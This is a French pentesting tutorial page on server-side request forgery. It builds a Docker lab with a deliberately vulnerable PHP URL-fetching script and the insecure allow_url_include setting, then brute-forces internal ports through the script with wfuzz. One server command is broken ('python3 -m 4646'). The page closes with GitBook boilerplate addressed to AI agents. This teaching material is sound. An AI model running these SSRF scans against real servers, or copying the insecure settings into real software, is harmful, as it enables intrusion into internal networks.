> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md). # SSRF Wfuzz ## Installation du premier scénario (vulnérabilité SSRF) ```bash docker pull ubuntu:latest docker run -dit --name ssrf_first_lab ubuntu docker exec -it ssrf_first_lab bash apt update apt install apache2 php nano python3 lsof -y service apache2 start lsof -i:80 # vérifier que le site Web est actif ``` * Dans le répertoire **/var/www/html**, créez un fichier utility.php avec le contenu ci-dessous : ```php ``` * Dans ce cas, le script ne fonctionne pas comme prévu. Vous devez modifier le fichier **"/etc/php/8.1/apache2/php.ini"** en définissant \_allow/\_url/*include* à "on". ![](/files/dcd156c2e0f97e2a5b648e37aaa429ab8b859b67) ![](/files/fe4f0cc9900b2bdad7cdfe07a3a8560ae6dcfc93) * Créez un `login.html` fichier dans `/tmp/` pour simuler une page de connexion de production : ```html Page de connexion

Formulaire de connexion étudiant (PRO)

Se souvenir de moi Mot de passe oublié mot de passe ? ``` * Redémarrez le service apache2 après la modification : ```bash service apache2 restart ``` * Créez un serveur Web Python3 visible uniquement depuis le réseau interne : ```bash python3 -m 4646 --bind 127.0.0.1 ``` Schéma technique pour comprendre le premier scénario (**Il y a un site Web sur le port 8089 qui n'est visible que depuis les ordinateurs du réseau interne**):
Grâce au **utility.php** script, nous spécifions une URL et voyons qu'il l'interprète :
Si nous essayons de nous connecter depuis notre machine habituelle, **nous n'avons pas accès** au site Web :
Mais si nous nous connectons via **utility.php** et que nous fournissons l'URL du réseau interne, nous voyons qu'il l'interprète :
Dans le cas hypothétique où **nous ne connaissons pas le port**, nous utilisons **Wfuzz** pour lancer une attaque par force brute : ```go wfuzz -c -t 200 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ" ```
Maintenant, nous, **filtrons** pour n'afficher que les sites Web avec une longueur différente de **4 caractères**: ```go wfuzz -c -t 200 --hl=4 -z range,1-65535 "http://172.17.0.2/utility.php?url=http://127.0.0.1:FUZZ" ``` Il détecte les ports **80 et 4646**:
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-wfuzz-pentesting-web.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.